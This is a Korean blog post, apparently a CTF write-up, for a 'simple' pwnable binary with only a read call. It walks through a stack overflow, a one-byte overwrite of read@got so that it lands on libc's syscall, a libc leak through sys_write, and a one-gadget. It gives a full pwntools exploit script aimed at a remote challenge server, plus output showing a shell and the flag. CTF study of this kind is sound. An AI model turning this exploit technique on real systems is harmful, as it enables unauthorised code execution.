티스토리 뷰

Summary

  • only read
  • rax control
  • read내부 syscall 이용

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-30h]

  alarm(0x3Cu);
  read(0, &buf, 0x400uLL);
  return 0;
}

stack overflow가 발생한다.

하지만 writeable한 함수는 없고,

오직 read함수만 있기때문에 일반적인 rop로는 풀이가 불가능하다.

 

Use syscall(in libc_read)

따라서 이 문제를 풀기 위해서는 read내부에 있는 syscall을 이용해야 한다.

ba0bab➤  disas read
Dump of assembler code for function read:
   0x00007ffff7b04250  <+0>:    cmp    DWORD PTR [rip+0x2d24e9],0x0        # 0x7ffff7dd6740 <__libc_multiple_threads>
   0x00007ffff7b04257  <+7>:    jne    0x7ffff7b04269 <read+25>
   0x00007ffff7b04259  <+0>:    mov    eax,0x0
   0x00007ffff7b0425e  <+5>:    syscall 
=> 0x00007ffff7b04260  <+7>:    cmp    rax,0xfffffffffffff001
   0x00007ffff7b04266 <+13>:    jae    0x7ffff7b04299 <read+73>
   0x00007ffff7b04268 <+15>:    ret    
   0x00007ffff7b04269 <+25>:    sub    rsp,0x8
   0x00007ffff7b0426d <+29>:    call   0x7ffff7b220d0 <__libc_enable_asynccancel>
   0x00007ffff7b04272 <+34>:    mov    QWORD PTR [rsp],rax
   0x00007ffff7b04276 <+38>:    mov    eax,0x0
   0x00007ffff7b0427b <+43>:    syscall 
   0x00007ffff7b0427d <+45>:    mov    rdi,QWORD PTR [rsp]
   0x00007ffff7b04281 <+49>:    mov    rdx,rax
   0x00007ffff7b04284 <+52>:    call   0x7ffff7b22130 <__libc_disable_asynccancel>
   0x00007ffff7b04289 <+57>:    mov    rax,rdx
   0x00007ffff7b0428c <+60>:    add    rsp,0x8
   0x00007ffff7b04290 <+64>:    cmp    rax,0xfffffffffffff001
   0x00007ffff7b04296 <+70>:    jae    0x7ffff7b04299 <read+73>
   0x00007ffff7b04298 <+72>:    ret    
   0x00007ffff7b04299 <+73>:    mov    rcx,QWORD PTR [rip+0x2ccbd8]        # 0x7ffff7dd0e78
   0x00007ffff7b042a0 <+80>:    neg    eax
   0x00007ffff7b042a2 <+82>:    mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7b042a5 <+85>:    or     rax,0xffffffffffffffff
   0x00007ffff7b042a9 <+89>:    ret    

read 어셈 코드이다.

보면 read + 5가 syscall을 나타내는 것을 알 수 있다.

read@got안에 libc read주소가 있으니 마지막 1byte를 0x50이 아닌 0x5e로 overwrite하게 되면

read@plt를 호출했을 때 syscall을 부를 수 있게 된다!

 

syscall 불러서 뭐하지?

rax를 바로 59로 control할 수 있다면 execve()를 호출 할 수 있다.

/bin/sh\x00를 bss에 적어두고 execve()호출하면 끝이지만,,(이 문제는 이렇게 안품)

이 문제에선 pop rax와 같은 가젯은 없었다. (trust 2018 start, hackctf에 있는 문제와 조금 달랐던 점.)

그래서 어떻게 rax를 컨트롤할지 생각하다가

 

팀마다 힌트 준다길래 물어봤더니 read로 입력받는 문자열의 길이로

rax를 control해야 함을 알고

 

0x50이 아닌 0x5e로 1byte overwrite할 때 rax가 1이므로 이 때 syscall을 호출하면

sys_write가 호출되고, 이를 사용하여 libc_base를 leak해서 oneshot으로 풀었다.

Exploit

from pwn import *

#s = process("./problem")
s = remote("34.85.27.24", 7777)
libc = ELF("libc.so.6")
e = ELF("problem")
context.log_level = 'debug'

prdi = 0x400603
prsi_r15 = 0x400601

payload = "A"*0x30 + "BBBBBBBB"

payload += p64(prsi_r15)
payload += p64(e.got['read'])
payload += p64(0)
payload += p64(e.plt['read'])

payload += p64(prdi)
payload += p64(1)
payload += p64(prsi_r15)
payload += p64(e.got['read'])
payload += p64(0)
payload += p64(e.plt['read'])

payload += p64(e.symbols['main'])

print(len(payload))
s.send(payload)
s.send('\x5e')

read = u64(s.recv(6)+"\x00\x00")
libc_base = read - 0xf7250-0xe
magic = libc_base + 0x4526a

print(hex(read))
print(hex(libc_base))

payload = "A"*0x30+"BBBBBBBB"
payload += p64(magic)
s.send(payload)
s.interactive()
root@ubuntu:~/hacking/ctf/hshacker2/pwn/simple# python exploit.py 
[+] Opening connection to 34.85.27.24 on port 7777: Done
[*] '/root/hacking/ctf/hshacker2/pwn/simple/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/hacking/ctf/hshacker2/pwn/simple/problem'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
144
0x7f44f592725e
0x7f44f5830000
[*] Switching to interactive mode
$ cat flag
FLAG{HINA_Plz_Make_The_World_Bright}
$  

 

 

'pwnable > CTF write-up' 카테고리의 다른 글

[pwnpwnpwn-4] WhiteHat GrandPrix 2019 - BookStore  (0) 2020.01.08
[pwnpwnpwn-2] 0ctf 2017 babyheap  (0) 2020.01.03
[Rooters 2019] Secure ROP write-up  (0) 2019.10.23
[Layer7 2019] How old are you? write-up  (0) 2019.10.11
64bit srop write-up  (0) 2018.08.05
Comments